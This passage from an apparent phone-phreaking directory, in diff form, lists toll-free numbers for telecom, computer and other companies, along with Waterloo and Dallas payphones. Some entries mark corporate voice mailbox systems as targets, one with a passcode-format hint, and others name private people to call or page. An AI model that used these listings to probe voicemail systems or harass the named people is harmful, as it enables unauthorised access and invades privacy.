+1-888-657-EASY Sprint Canada. +1-888-660-EASY Sprint Canada. +1-888-670-EASY Sprint Canada. +1-888-671-EASY Sprint Canada. +1-888-673-EASY Sprint Canada. +1-888-675-EASY Sprint Canada. +1-888-677-7464 EarthLink Sprint. +1-888-680-EASY Sprint Canada's "The Most" Online. +1-888-685-EASY Sprint Canada's "The Most" Online. +1-888-689-EASY Sprint Canada's "The Most" Online. +1-888-690-EASY Sprint Canada's "The Most" Online. +1-888-710-EASY Sprint Canada's "The Most" Online. +1-888-777468-249 (1-888-SPRINT-BIZ) Sprint Business Flex line. +1-888-790-EASY Sprint Canada. +1-888-871-5288 Sprint Canada Customer Service. +1-888-890-2384 Sprint Canada (French) +1-888-998-2288 Sprint Canada (Chinese) +1-888-IN-TOUCH Sprint "Stay in touch" Services. + + +------------------------------------------------------------------------------- + US West: +------------------------------------------------------------------------------- + +(303) 896-7683 US West (Denver), automated job line. +1-800-227-2209 Enterprise US West Employee Help Line. +1-800-238-7848 US West "Air Touch" Cellular. +1-800-244-1111 US West Communications. +1-800-338-0018 US West Direct Yellow Pages. +1-800-422-8793 US West Directory Source. +1-800-455-8706 US West Repair Center for AT&T. +1-800-477-7211 US West Communications Public Access Solutions and Smart Cards. +1-800-4US-WEST US West Card Services. +1-800-626-6611 US West "Air Touch" Cellular Customer Service. +1-800-7US-WEST "Please enter the area code..." +1-800-856-3376 US West Dispatch. (U.S. only) +1-800-879-4357 US West Employee Locator. +1-800-883-6171 US West Completions and Translations. (U.S. only) +1-800-8US-WEST "Please enter the area code..." +1-800-AIRTOUCH US West "Air Touch". +1-800-US-WEST0 "Enter Code." +1-888-4US-WEST US West Home Office Consulting Center. + + +------------------------------------------------------------------------------- + Communications and Telephone Companies: +------------------------------------------------------------------------------- + +1-800-201-0640 Touch 1 Communications. +1-800-222-4444 Armstrong AITS Support Center. (call to report telco outages) +1-800-222-4500 West Tel Services. +1-800-225-2545 Century Telephone Long Distance Calls (Hardy, AR) +1-800-225-5018 Intelephone. +1-800-225-5123 Starnet. +1-800-225-5265 1-800-COLLECT. +1-800-225-5438 IDT Long Distance/Internet Services. +1-800-225-5463 Directory Assistance (800-CALL-INFO) +1-800-231-0989 TTI National Customer Service. (West Palm Beach, FL) +1-800-231-6720 Discounted Telephone Services (Walnut, CA) +1-800-231-8949 ITT. (Key West, FL) +1-800-232-7839 Eastex Telephone After Hours Repair. (Henderson, TX) +1-800-235-4008 Information America's Client Support. (DDT Online) +1-800-236-3075 TDS Telecom Network Management. +1-800-243-0234 Farmstead Telephone. (East Hartford, CT) +1-800-243-8674 NRG Communications (MI) +1-800-245-6088 Colorado Telephone Equipment. (Englewood, CO) +1-800-250-9999 InterMedia Communications Customer Care Center. +1-800-252-5115 Aviation Telephone Directory. (Stanton, CA) +1-800-263-5444 Lexsys Networks, Inc. (Nortel Networks Sales and Service) +1-800-264-2255 InComNet National Telephone and Communications. +1-800-265-9975 Extend Communications Inc. (Bell Authorized Network Partner) +1-800-267-2772 Sitel Canada. +1-800-267-4955 Independent Telephone Services. +1-800-272-6348 1-800-BRAND-IT (Toll Free Vanity Number Provider) +1-800-281-9616 Telephone Pioneers of America. (Denver, CO) +1-800-286-8241 Touch 1 Communications. +1-800-288-2880 OCI Communications. +1-800-292-6441 Directory Advertising (Yellow Pages) +1-800-294-0020 US Tel. (phone repairs and sales) +1-800-321-7036 Aero-Tech Communications. (Lucent and Nortel Dealer) +1-800-321-9998 World Access Canada. +1-800-324-1234 CTI Long Distance Customer Service. +1-800-327-5389 A Target Telecom Discount Long Distance Service. +1-800-327-5389 Discount Long Distance. +1-800-328-2174 Telematic. (these people are phreakymatic) +1-800-333-9967 Communication Options. +1-800-334-2255 GE Information Services Center. +1-800-338-8108 Consolidated Ventura Telephone. +1-800-343-7363 American Telegram (24 Hour Worldwide Telegram Service) +1-800-345-3444 AlternaCall Customer Information Line. +1-800-349-6874 Mr Telephone. (Palmetto, FL) +1-800-354-3360 Yelcot Telephone Company. (Mountain Home, AR) +1-800-355-6245 ATX Telecommunication Services. (Answering Machine) +1-800-356-9968 Yellow Pages Consulting. +1-800-363-3811 Belcom Communications. +1-800-366-4750 Ranco. (Telephone Equipment Systems Service and Repair) +1-800-369-8885 Citizens Communications. (Telephone Company) +1-800-373-2324 McLeodUSA (Telephone directories and service) +1-800-374-5364 Audi Telecommunications Customer Care Center. +1-800-387-0005 Primus Canada. +1-800-387-2837 Dominion Telephone Systems Ltd. +1-800-387-4172 The Canadian Telephone Company Inc. +1-800-392-9857 Standard Payphones of America. (Carlsbad, CA) +1-800-395-4656 ITC Telecom Dispatch Service. +1-800-399-3970 Maritel (Marine Radiotelephone Common Carrier Communication) +1-800-401-0350 FiberNet Telemanagement. (Telephone Company) +1-800-401-4141 FiberNet Telemanagement, Inc. +1-800-405-6543 American Mobile Customer Accounts Support Center. +1-800-422-1199 Broadway Communications. (Long Distance) +1-800-422-2387 Poka-Lambro Telephone. (Tahoka, TX) +1-800-424-6262 ITT Voice Mail. (Meridian Mail) +1-800-426-4000 Pearce Communications. +1-800-433-5853 All-Tel. +1-800-435-7194 Primus (Fax) +1-800-444-2817 Primus Customer Care Center. (Spanish) +1-800-444-9000 Telecom USA. +1-800-453-7638 SNET. (Telephone Company in New Haven, CT) +1-800-453-7638 SNET. (Telephone Company) +1-800-455-5958 ITC Telecom. +1-800-457-0276 Action Telephone. +1-800-462-9791 M Telecom Internet Business Services. +1-800-465-0049 Deutschland Direct Telecom. (German) +1-800-467-2355 Century Tel. +1-800-480-4198 National Communication Network. +1-800-483-2871 Pacific Coast Communications. +1-800-483-4444 FirsTel Advanced Communications Customer Service Center. +1-800-483-5463 800 Ideas.com Incorporated. +1-800-483-6681 StarTec Global Communications. +1-800-494-4884 Primus Trouble Reporting Department. +1-800-521-5422 Group Long Distance (Fort Lauderdale, FL) +1-800-524-4736 National Phone Lines (Hales Corners, WI) +1-800-531-0003 STS Incorporated. (Telephone Company) +1-800-533-4171 Century Tel Repair. +1-800-535-2211 Touch Tone America. (Long Distance Service) +1-800-540-3598 10-10-220 Customer Service. +1-800-540-7903 StarTec Long Distance. (Chinese) +1-800-542-7279 (1-800-LIBRARY) The Teleconnect Dictionary (Telecom Books, etc.) +1-800-544-4660 Plantronics Telephone Headsets. +1-800-545-6188 Hope Telecom. +1-800-545-7000 Komtek Communications. +1-800-555-1212 Toll Free Directory Assistance/Info. (the 411 of toll free) +1-800-555-7665 TelAmerica. +1-800-562-8697 Teledo Telephone Company, Inc. +1-800-562-9880 TCL Network. +1-800-568-5681 Eclypse Telecommunications. +1-800-568-8929 Latin American Enterprise Telephone. (Miami, FL) +1-800-580-5585 WesTel Incorporated Customer Service. +1-800-582-3425 Idealdial Corporation (Colorado) +1-800-588-1111 ActionTel. +1-800-588-2222 ActionTel Customer Service. +1-800-594-3000 Call Home America. +1-800-594-5900 Call Home America (Global Crossing) Customer Service. +1-800-599-7930 Power and Telephone Supply. (Tampa, FL) +1-800-622-4354 Electric Lightwave Network Service Center. +1-800-627-5609 Conquest Customer Service. +1-800-631-3449 Total Tel. +1-800-632-0585 Brant Telephone. +1-800-638-5298 Global Telecom Supplies. (Meridian, Norstar) +1-800-651-2355 MobileTel, Inc. +1-800-654-3373 Hertz Technologies Customer Service. (Long Distance Service) +1-800-658-5600 All-Star Customer Service. +1-800-661-1886 Palco Telecom Inc. (call diverters, lineman test sets, etc.) +1-800-667-7656 Accord Communications Inc. (Lucent PBX and VMB systems, etc.) +1-800-704-7977 Primus Communications. +1-800-722-2300 Nynex President Switchboard. +1-800-727-6874 Network Telephone Services. (Woodland Hills, CA) +1-800-735-3030 Cincinnati Bell Long Distance. +1-800-746-9930 Great Lakes Telephone Corp. +1-800-749-0300 Pilgrim Telephone. +1-800-749-8000 Nextel International. +1-800-768-0015 Call Home America Ultimate 800. +1-800-768-1212 Chester Telephone. +1-800-768-1230 Convergent Communications. +1-800-768-1234 Telecom USA. (10-10-321, 10-10-220 Services) +1-800-768-2800 Call Home America. +1-800-768-7777 Call Home America Ultimate 800. +1-800-777-6842 KPN Telecom. +1-800-788-8588 Working Assets Long Distance. +1-800-8-PRIMUS Primus Customer Service Department. +1-800-805-1000 Total Tel Customer Service. +1-800-808-8348 Global Crossing. +1-800-808-SNET SNET All Distance International Dialing Directory. +1-800-821-1661 InterTel Network Services. +1-800-821-1831 Hamilton Telecommunications. (Telephone Company) +1-800-827-0074 Access Global. +1-800-827-1200 American Directory Service Corporation. (order telephone books) +1-800-827-4707 Office Telecom. +1-800-827-4827 All-Tel Communications. +1-800-827-9940 Access Technical Services Call Routing System. +1-800-827-9950 GE Access Canadian Business Division. +1-800-829-1011 Network Management Center. +1-800-833-2330 Consolidated Ventura. (Tucson, AZ) +1-800-833-2700 Cooperative Communications, Inc. +1-800-833-2700 Cooperative Long Distance Services Inc (Kearny NJ) +1-800-835-7788 US Telecom International. +1-800-848-0955 Williams Communications Solutions. (Meridian, OcTel info etc.) +1-800-858-2399 California Oregon (CalOr) Telephone Company. +1-800-861-3743 Global Crossing Speedlink. +1-800-861-3744 Call Home America. +1-800-864-2501 Williams Communications. +1-800-864-8351 Quantum Link Communications. +1-800-872-3369 US WATS. +1-800-872-4018 Century Telephone Long Distance Calls (La Crosse WI) +1-800-882-2691 Atlantic Telesis Group. (Yonkers, NY) +1-800-888-1000 Pilgrim Telephone. +1-800-897-8675 Access Communications, Inc. (Long Distance Service) +1-800-909-3436 Simtel Inc. Independent Payphone Service. (New York/New Jersey) +1-800-909-4945 Computer 411. +1-800-909-5008 LCC Network Services. +1-800-909-5109 Automated Transmitter System. +1-800-922-8992 Trans Global. (Long Distance Service) +1-800-925-1111 TONE. Long Distance. +1-800-925-2289 US Tel Customer Service. +1-800-926-1350 Marketing Directory Services. +1-800-929-1366 Tel-Save. (Long Distance Service) +1-800-930-6644 Canada Reconnect. (Call if Bell cuts your phone service) +1-800-933-6600 Federal TransTel, Inc. +1-800-937-2394 Convergent Communications Billing. +1-800-938-2255 Pilgrim Telephone. (Intimate Connections) +1-800-968-0461 Enterprise Telephone. +1-800-972-0600 US WATS Customer Service. +1-800-991-9900 Brant Telephone. +1-800-999-2222 Pilgrim Telephone. +1-800-ALPHANET Alphanet Solutions. (Telecom Sales) +1-800-EASY-HOME Corporate Image Marketing. (Vanity 800 numbers, etc.) +1-800-FUCK-ATT Pilgrim Telephone. (Automated Collect calls) (U.S. only) +1-800-FUCK-MCI Pilgrim Telephone. (Automated Collect calls) (U.S. only) +1-800-FUCK-NCR Pilgrim Telephone. +1-800-HI-ITS-ME AlternaCall. (Automated Collect calls in Canada) +1-800-NEXTEL-9 Nextel. +1-800-PRIMUS-1 Primus Canada. +1-800-PRIMUS-2 Primus DSL Sales. +1-800-WEST-TEL West Group Telecommunications Department. +1-800-WILLIAMS Williams Communications Emergency line. +1-877-316-3900 Telephone Service. (Sherwood, AR) +1-877-396-1122 WinTel Communications. (owned by PRIMUS Canada) +1-877-396-3939 Union Telecom. +1-877-465-BELL U.S. Long Distance. +1-877-466-BELL Network Services, Inc. +1-877-469-BELL Nevada Bell QuickService. +1-877-469-BELL Nevada Bell. +1-877-535-3456 Union Telecom. (English and Italian) +1-877-615-BELL Watstar Long Distance. +1-877-677-4687 (1-877-6-PRIMUS) Primus Canada Long Distance Services. +1-877-703-0599 Primus Canada. +1-877-703-2248 Primus Canada. +1-877-703-2249 Primus Canada. +1-877-703-2250 Primus Canada. +1-877-703-2263 Primus Canada. +1-877-703-2264 Primus Canada. +1-877-703-2267 Primus Canada. +1-877-777-4681 (1-877-SPRINT-1) London Telecom Network. +1-877-819-4976 A1Call.com +1-877-GLOBAL-1 Audi Telecommunications. +1-877-MOBILECOM 800 Ideas.com Inc. +1-877-PRIMUS-1 Primus Canada. +1-877-PRIMUS-2 Primus Canada. (Arabic, French and English) +1-877-WINTEL-1 WinTel Communications. +1-877-WINTEL-2 WinTel Communications. +1-877-WINTEL-3 WinTel Communications. (French) +1-877-WINTEL-4 WinTel Communications. +1-877-WINTEL-5 WinTel Communications. +1-877-WINTEL-6 WinTel Communications. +1-877-WINTEL-8 WinTel Communications. +1-877-WINTEL-9 WinTel Communications. +1-888-216-6609 London Telecom Network. +1-888-266-7873 1-800-BRAND-IT (Toll Free Vanity Number Provider) +1-888-299-3840 TTI National Dispatch. (Telephone Company) +1-888-344-0400 Convergent Communications Repairs. +1-888-376-6843 Dial 800. +1-888-447-4653 Telephone On Hold Commercials. +1-888-539-5234 Ducor Telephone. (Ducor, CA) +1-888-553-8711 Telephone Support Systems. +1-888-564-6488 IT&T. (Telephone Company) +1-888-715-2355 Call Home America Ultimate 800. +1-888-774-6383 Prime Tel Communications, Inc. +1-888-777-6561 Florida Telephone. (West Palm Beach, FL) +1-888-825-2355 Connect America. +1-888-933-6786 NPA West. +1-888-ALPHANET Alphanet Solutions. +1-888-GLOBAL-1 Primus Canada. +1-888-ITSGREAT American Telecom Network. (sign up for toll free numbers) +1-888-MILLENNIUM 800 Ideas.com +1-888-ROGERS-1 Rogers Cable. +1-888-ROGERS-2 Rogers Connection. +1-888-SHAWPAGE Shaw Call Center. +1-888-TELE-COR Telecore. +1-888-WINTEL-1 WinTel Communications. +1-888-Y-TOP-TEN ATN's Top Ten reasons why you should get a toll free number. + + +------------------------------------------------------------------------------- + Computer Companies and Internet Services: +------------------------------------------------------------------------------- + +1-800-218-6850 MSN (Micro$oft Network) +1-800-221-4677 Micro$oft Seminars. +1-800-222-5161 IBM Program Headquarters. +1-800-222-9323 AMD's Literature and Technical Service Center. (no Fax-back) +1-800-223-7065 Unisys. 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Preferred Accounts Division. +1-800-242-0080 Compaq Corporation. +1-800-245-4786 MSN (Micro$oft Network) +1-800-260-DELL DELL. +1-800-263-1121 Canon Canada. +1-800-263-2244 Sanyo On-Site. +1-800-263-2777 IBM Software Replication Services. +1-800-263-3394 Apple Canada. +1-800-267-1100 Compaq Canada. +1-800-267-5251 Compaq Services Canadian Customer Support Centre. +1-800-267-9975 OpenText Corporation. +1-800-268-1221 Hewlett-Packard Canada Ltd. +1-800-268-3997 NEC Canada. +1-800-289-3355 (1-800-BUY-DELL) DELL Canada. +1-800-296-7160 DELL Canada. +1-800-321-4044 Intel Overdrive/Microprocessor Support Line. +1-800-325-9141 DELL Canada. +1-800-332-2717 Intel Technical Support. +1-800-332-4636 Compaq Computer Corporation. +1-800-336-5236 Texas Instruments. +1-800-339-6181 Toshiba. +1-800-344-4825 (1-800-DIGITAL) Compaq Canada. +1-800-346-6873 (1-800-34-MOUSER) Mouser Electronics (order crystals) +1-800-354-9000 Compaq Customer Services. +1-800-356-LOOK LOOK Pay Per View, TV and Internet Services. +1-800-359-9556 Samsung Telecommunications. +1-800-364-3577 3M Canada. +1-800-365-9012 Sun Microsystems Educational Services. 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(Requires UserId #) +1-800-463-9241 DELL Canada. +1-800-465-7748 IBM Products, Sales and Services Center. +1-800-465-7999 IBM Direct. +1-800-468-3548 (1-800-INTEL-IT) Intel Product Repair Service. +1-800-475-3107 Joanne Wilson from IBM Global Services Pager. +1-800-483-1170 3Com's Customer Service after hours VMB. +1-800-483-1288 IBM Work Group Services. +1-800-486-4835 SCO Unix Technical Support. +1-800-509-1800 Novell's Customer Response Center. +1-800-522-6245 AMD VMS. (enter 3 digit ext# then 3 digit passcode#) +1-800-524-3388 CompuServe. +1-800-539-6275 (1-800-LEXMARK) Lexmark Canada. +1-800-553-2447 Cisco Systems Technical Assistance Center. +1-800-553-6387 Cisco Systems Sales and Customer Service. +1-800-555-2052 Gateway 2000 International Department. +1-800-555-2091 Gateway 2000 International Department. +1-800-555-3012 Gateway Direct Line. +1-800-555-6820 Hitachi Data Systems PC Products Support Services Team. +1-800-555-9786 Sun Microsystems. (Palo Alto, CA) +1-800-563-9048 Micro$oft Canada Sales and Information Centre. +1-800-565-2237 Acer America Corporation. +1-800-567-1616 Compaq Canada. +1-800-569-DELL DELL. +1-800-586-DELL DELL. +1-800-595-8480 Rogers@Home. +1-800-622-4786 Sun Microsystems Hardware Support and Information. +1-800-628-8686 Intel Customer Service. +1-800-628-9526 Compaq Support Line. +1-800-638-9273 Novell Customer Support. +1-800-638-9636 Genie Online Service. +1-800-647-2355 MinIowa PC Partner. +1-800-648-4452 American Microsystems. +1-800-652-6672 (1-800-OK-COMPAQ) Compaq Computer Corporation Technical Support. +1-800-658-5199 AccessData Corporation. (Data recovery) +1-800-661-7274 SeaChange (Internet Services) +1-800-663-0378 Toshiba Canada Notebook Computer Division. +1-800-665-2775 Apple Canada Dealer Locator Line. +1-800-696-8909 Internet Direct Corporate Business Solutions. +1-800-722-4786 Sun Microsystems Canada Customer Care Centre. +1-800-726-7864 (1-800-SAMSUNG) Samsung Information Line. +1-800-733-7418 DELL Canada. +1-800-733-9673 (1-800-RED-WORD) Novell Developer's Support. +1-800-746-DELL DELL. +1-800-752-0900 Hewlett-Packard. +1-800-777-3278 Fujitsu Network Communications Inc. +1-800-777-4343 Digital Equipment Corp. +1-800-786-0404 (1-800-SUN-0404) Sun Express (supplier of Sun Microsystems) +1-800-786-8688 Sun Microsystems Financing-Fax Line. +1-800-801-7869 Sun Microsystems Investor Relations Department. +1-800-827-0035 America Online. +1-800-827-1225 IBM/NCR Retail Vendor Support Line. +1-800-827-2180 TOS Computer Systems. +1-800-828-3362 Novell Authorization Department. +1-800-841-8743 Computer Associates Client Services. +1-800-842-2737 Texas Instruments. +1-800-846-2301 Gateway Technical Support Line. +1-800-847-4096 DELL Canada's Service and Support Hot Line. +1-800-848-8199 CompuServe. +1-800-848-8990 CompuServe. +1-800-858-1810 Cypress Semiconductor. +1-800-858-4000 Novell Technical Support. +1-800-865-1115 Telecom Computer. +1-800-879-7660 Iomega's Instant Access Help System. +1-800-892-4429 Quanix Data Services. +1-800-900-DELL DELL. +1-800-921-DELL DELL. +1-800-942-6227 Mostly Mac Inc. +1-800-945-6111 Sun Microsystems Developer Connection. +1-800-948-DELL DELL. +1-800-999-DELL DELL Canada. +1-800-COMP-USA CompUSA Stores and Customer Service. +1-800-DEFENDER Net Zero. (free Internet service) +1-800-IOPENER Netpliance. +1-800-OK-CANON Canon Canada. +1-800-ORACLE-1 Oracle Direct Response Sales and Marketing Department. +1-800-PEOPLEPC People PC Computer and Internet Service. +1-800-PSI-1141 PSINet. +1-800-SCO-UNIX SCO Services Sales. +1-800-TOSHIBA Toshiba Computer Systems. +1-877-208-4717 Rogers@Home. +1-877-584-5551 AltaVista free access support line. (free Internet) +1-877-727-3375 MinIowa Help Desk. +1-877-EXECULINK ExecuLink Internet Services. +1-877-HOWEWORK Dell. +1-877-NOVELL-1 Novell. +1-877-SHARP-22 Sharp Canada Customer Care Center. +1-877-YOUR-MSN Micro$oft Network. +1-88-TELIGENT Teligent. +1-888-267-3856 Compaq. +1-888-288-4663 Rogers@Home Technical Support. +1-888-321-3737 VIF Internet. +1-888-4-SENTEX Sentex Communications. +1-888-453-9226 Lexmark Canada. +1-888-478-2730 I-Star Internet Incorporated. +1-888-622-3289 Fastekk Systems. +1-888-673-8925 Micro$oft's Y2K Disclosure Line. +1-888-692-1122 CompuServe. +1-888-700-3279 InterTel Network Solutions. +1-888-714-6695 Scarborough Computers (Authorized Shaw@Home Retailer) +1-888-750-6990 Shaw@Home Technical Support. +1-888-755-7068 Sun Microsystems Fax. (Mountain View, MA) +1-888-786-2310 Sun Microsystems. (Broomfield, CO) +1-888-786-3463 Sun Microsystems. (Palo Alto, CA) +1-888-791-0176 Primus Canada (iPrimus) +1-888-839-9295 IBM Haliburton Service Desk. +1-888-843-5282 Sun Microsystems Software Products and Platforms Sales Group. +1-888-858-4PSI PSINet Canada. +1-888-871-5111 Hewlett-Packard Computer Supplies. +1-888-DELL-PCS DELL Canada. +1-888-IBM-5800 IBM Small Business Solutions Center. +1-888-PSI-NET1 PSINet Limited. +1-888-PSI-NET2 PSINet Limited. +1-888-SHOP-IBM Shop IBM. (Ext 7300, 7311 or 7320) + + +------------------------------------------------------------------------------- + Miscellaneous Numbers: +------------------------------------------------------------------------------- + +(214) 275-4206 Robert Ray in Dallas, Texas. Call him collect! +(303) 499-7111 Atomic Clock in Colorado. +(312) 408-1400 TU (Trans Union) +(435) 855-3326 DefCon Voice Bridge (hack/phreak discussions and chats) +(937) 445-4357 NCR HQ. (option 2) + +1-800-200-0068 Call Interactive. (listen to male and female voices) +1-800-205-6700 Coolemail.com +1-800-221-2255 American Airlines VMS. +1-800-222-5000 AAA's Air, Hotel and Car Reservations. +1-800-222-6000 Box 6853968 (NUKEYOU) Damage, INC. VMB. +1-800-222-TIPS Crime Stoppers. +1-800-225-5101 Cable Guide Hotline. +1-800-225-5455 Johnson and Johnson VMS. +1-800-225-5627 (1-800-CALL-NCR) NCR Customer Support. +1-800-225-5854 Meridian Mail VMB. +1-800-225-5921 Highlander Sale Catalog. (for ordering Scottish merchandise!) +1-800-255-3700 Nintendo. +1-800-263-0656 NCR. +1-800-263-1136 Statistics Canada. +1-800-265-0977 NCR. +1-800-265-MUCH MuchMusic. (Much On Demand) +1-800-267-1177 Canada Post. +1-800-267-7000 Royal Canadian Mint. (show me the money) +1-800-267-7777 Department of Justice. (Canada) +1-800-289-6241 Mag-Lite flashlights. +1-800-331-9922 General Motors Shareholder's Services. +1-800-334-2564 (1-800-3-DIALOG) Dialog Information Service WHQ. +1-800-336-6000 Audix VMB. +1-800-353-0809 Call to remove yourself from Credit Card company lists. +1-800-360-2255 Century 21 Realty VMS. +1-800-387-4636 Nestle Canada. +1-800-387-8240 NCR. +1-800-387-8300 NCR Help Desk and Call Management Center. +1-800-388-PIR8 SPA Anti-Piracy Hotline. (the official warez d00d ratline) +1-800-4-DOTCOM Network Solutions. (the Dot Com people) +1-800-400-VIEW Rogers Cable Viewer's Choice. +1-800-407-2247 Quaker Oats Company. +1-800-418-6245 Blockbuster's VMS. +1-800-421-7944 NCR Benefits Service Center. +1-800-425-1111 Pepsi Cola Atlantic Customer Service. +1-800-426-0000 Systematic. (these people aren't very phreakymatic) +1-800-439-2204 Brewer's Retail Help Desk. (The Beer Store - ask for free beer!) +1-800-452-9996 Statistics Canada. +1-800-461-2800 Canadian Tire Cardholder Services. +1-800-461-5161 NCR Canada Emergency Parts Order Desk. +1-800-465-1176 Meridian Mail VMB. +1-800-468-1714 Hershey Canada. +1-800-472-5451 Hershey Canada Inc. +1-800-488-7040 ADT Security. +1-800-501-1150 Hershey Canada Inc. (French) +1-800-501-6245 Database America's answering machine. +1-800-541-6821 Super Bureau Inc. (find documents on almost anyone) +1-800-555-1313 SkyTel VMB. +1-800-555-1560 Audix VMB. +1-800-555-6620 Meridian Mail VMB. +1-800-557-6245 Saloman Smith Barney VMS. +1-800-565-6317 Cadbury. +1-800-5678-HMV HMV Music Store. +1-800-627-2303 (1-800-NCR-2303) NCR Corporation Shareholder Services. +1-800-663-1243 Adbusters Media Foundation. (Culture Jamming) +1-800-663-7780 NCR Invoicing Department. +1-800-666-1474 American Coin Machine. +1-800-668-1417 Global Business Centers. +1-800-668-3979 Bestobell Canada Ltd (Toronto) +1-800-669-1800 Burger King's VMB. (4 digit BNs) +1-800-672-3888 National Rifle Association Hotline. +1-800-678-8774 Source Resources (the source for finding people) +1-800-682-7654 Experion Credit checks/reports. (formerly TRW) +1-800-685-1101 CB (Equifax) +1-800-685-1102 CB (Equifax) +1-800-685-1103 CB (Equifax) +1-800-685-1104 CB (Equifax) +1-800-685-1111 CB (Equifax) +1-800-685-3968 (1-800-NUKE-YOU) is VoiceComm. +1-800-688-6115 National Security Agency (NSA) INFOSEC Center. +1-800-707-0570 Ad Ventures Inc. +1-800-724-3780 Seiger Electronics. +1-800-724-6644 Ext. #22783700 Phone Losers of America VMB. +1-800-777-2255 Phone Works VMS. +1-800-792-1000 Columbia House CD-ROM Club. +1-800-800-8800 Target Directory. +1-800-842-2255 American Express VMS (Audix) +1-800-888-4848 Subway's VMS. +1-800-889-6245 "Belen Hell" VMS. (VMB="#") (Dir.="3") +1-800-892-3351 National Rifle Association (Join the NRA Now!) +1-800-909-3250 Meridian Mail VMB. +1-800-909-4672 National Rifle Association (NRA) +1-800-925-6278 (1-800-WAL-MART) WAL-MART Directory. +1-800-939-4484 ITI (Information Technology Institute) +1-800-949-6245 Phone Mail VMB. +1-800-954-6245 OcTel VMB. +1-800-CRIME-TV America's Most Wanted. +1-800-DIRECTV DirecTV. (satellite television) +1-800-FIRST-CALL First Call. (Cable Locate Service) +1-800-GETEVOICE eVoice by Nokia. (call to sign up for a free VMB) +1-800-GO-FEDEX FedEx. +1-800-KRAMERS The Real Kramer's Reality Tour in New York City. +1-800-MOLSON-1 Molson Canada. +1-800-NY-TIMES New York Times Customer Service. +1-800-O-CANADA Government of Canada. +1-800-ONTARIO Travelinx Ontario. (Tourism Information) +1-877-326-2826 NCR Bell Help Desk. +1-877-450-9488 Wraith Tech Industries Main Number. (24/7) +1-877-66-TRIOS TriOS Training Centres. (MCSE, Unix, Novell) +1-877-724-2647 "Security" loser. +1-877-875-2762 Pioneer Help Line. +1-877-925-6278 (1-800-WAL-MART) Customer and Associates Service Hotline. +1-877-940-BELL Bell Micro Products. +1-888-25-GREAT Cleveland Hotline. +1-888-256-5678 NCR AlertLine. +1-888-339-1688 MediaOne. +1-888-349-6972 Micron Electronics Technical Support. +1-888-504-2355 "Tony Bell" from Remax. +1-888-536-2355 "This is Ken Bell." (Voice) +1-888-663-3279 Canada Trust Co. +1-888-751-8088 Guinness World Records. +1-888-EMAIL-ME College Club Free VoiceMail. (U.S. only) +1-888-STAR-602 Star Choice Customer Service. (Satellite television) +1-888-STCK-NCR NCR Corporation Associates Stock Ownership at Merrill Lynch. +1-888-TEL-CORD "This is Roy." (ask for your telephone cord back!) + +------------------------------------------------------------------------------- + Payphones: +------------------------------------------------------------------------------- + +(214) 381-9151 Vecta's Food Store on Jim Miller and Bruton Road Dallas, TX. (O) +(214) 824-9028 Sparkle Car Wash in 1600 Block of Haskell Dallas, Texas. (O) +(214) 841-4719 Sparkle Car Wash in 1600 Block of Haskell Dallas, Texas. (O) +(214) 841-9840 Lizzard Lounge Dallas, TX. (O) +(509) 332-0415 Payphone somewhere in Pullman, Washington. (A) +(519) 322-2033 Point Pelee Park. (A) (O) +(519) 570-9131 Kitchener, ON. +(519) 571-5092 Paytel Payphone on Highland Rd at GOCO gas station. (C) (O) +(519) 576-0354 Paytel Payphone on Weber Street in Kitchener, ON. (C) (O) +(519) 576-5239 King Street Kitchener, ON. (M) (O) +(519) 576-9444 King Street Kitchener, ON. (M) (O) +(519) 578-9318 Highland Road Kitchener, ON. (M) (O) +(519) 579-2111 Wink's Sunoco on Highland Rd Kitchener, ON. (M) (O) +(519) 744-3349 1st Canadian Telecom at Queen & Duke St. Kitchener, ON. (C) (O) +(519) 746-0329 WLU Arts Building E Wing 1st Floor. (M) (I) +(519) 746-1488 University of Waterloo Davis Centre. (M) (I) +(519) 746-1488 University of Waterloo. (M) (I) +(519) 746-1838 University of Waterloo Davis Centre. (DM) (I) +(519) 746-1856 Wilfred Laurier University Aird Dining Hall East. (M) (I) +(519) 746-2685 UofW South Campus Computer & Math Building 2nd Floor. (M) (I) +(519) 746-2801 University of Waterloo Davis Centre. (M) (I) +(519) 746-2801 University of Waterloo. (M) (I) +(519) 746-3561 UofW South Campus Computer & Math Building 2nd Floor. (M) (I) +(519) 746-3793 University Shops Plaza II Waterloo, ON. (M) (O) +(519) 746-4006 University of Waterloo Davis Centre Library entrance. (DM) (I) +(519) 746-4606 University of Waterloo. (M) (I) +(519) 746-4654 UofW South Campus Physical Activities Center. (DM) (I) +(519) 746-6280 University of Waterloo. (M) (I) +(519) 746-6434 UofW South Campus Physical Activities Center. (M) (I) +(519) 746-7039 University Shops Plaza II Waterloo, ON. (M) (O) +(519) 746-7107 WLU Alvin Wood Concourse. (M) (I) +(519) 746-7787 University Shops Plaza II Waterloo, ON. (M) (O) +(519) 746-8751 University of Waterloo Davis Centre Library entrance. (DM) (I) +(519) 746-8751 University of Waterloo. (M) (I) +(519) 746-9070 University Shops Plaza II Waterloo, ON. (M) (O) +(519) 746-9093 UofW South Campus Physical Activities Center. (M) (I) +(519) 746-9094 University of Waterloo. (M) (I) +(519) 746-9113 University of Waterloo Davis Centre. (M) (I) +(519) 746-9115 University of Waterloo Davis Centre. (M) (I) +(519) 746-9134 WLU Aird First Floor Dining Hall Lower Level. (M) (I) +(519) 746-9172 East Side Marios University St. Plaza Waterloo, ON. (M) (I) +(519) 746-9203 UofW South Campus Computer & Math Building 2nd Floor. (M) (I) +(519) 746-9208 UofW South Campus Computer and Math Building 3rd Floor. (M) (I) +(519) 746-9209 UofW South Campus Computer and Math Building 3rd Floor. (M) (I) +(519) 746-9236 UofW South Campus Physical Activities Center. (M) (I) +(519) 746-9241 UofW South Campus Physical Activities Center. (M) (I) +(519) 746-9252 Wilfred Laurier University Library Basement. (M) (I) +(519) 746-9263 UofW South Campus Physical Activities Center. (M) (I) +(519) 746-9271 UofW South Campus Computer and Math Building 3rd Floor. (M) (I) +(519) 746-9273 Wilfred Laurier University Alvin Wood Concourse. (M) (I) +(519) 746-9277 UofW South Campus Physical Activities Center. (M) (I) +(519) 746-9305 University Shops Plaza I Waterloo, ON. (M) (O) +(519) 746-9324 UofW South Campus Computer & Math Building 2nd Floor. (M) (I) +(519) 746-9368 UofW South Campus Computer and Math Building 3rd Floor. (M) (I) +(519) 746-9497 UofW South Campus Computer and Math Building 3rd Floor. (M) (I) +(519) 746-9498 UofW South Campus Computer and Math Building 3rd Floor. (M) (I) +(519) 746-9580 Wilfred Laurier University Library Basement. (M) (I) +(519) 746-9591 University of Waterloo Davis Centre. (M) (I) +(519) 746-9591 University of Waterloo. (M) (I) +(519) 746-9592 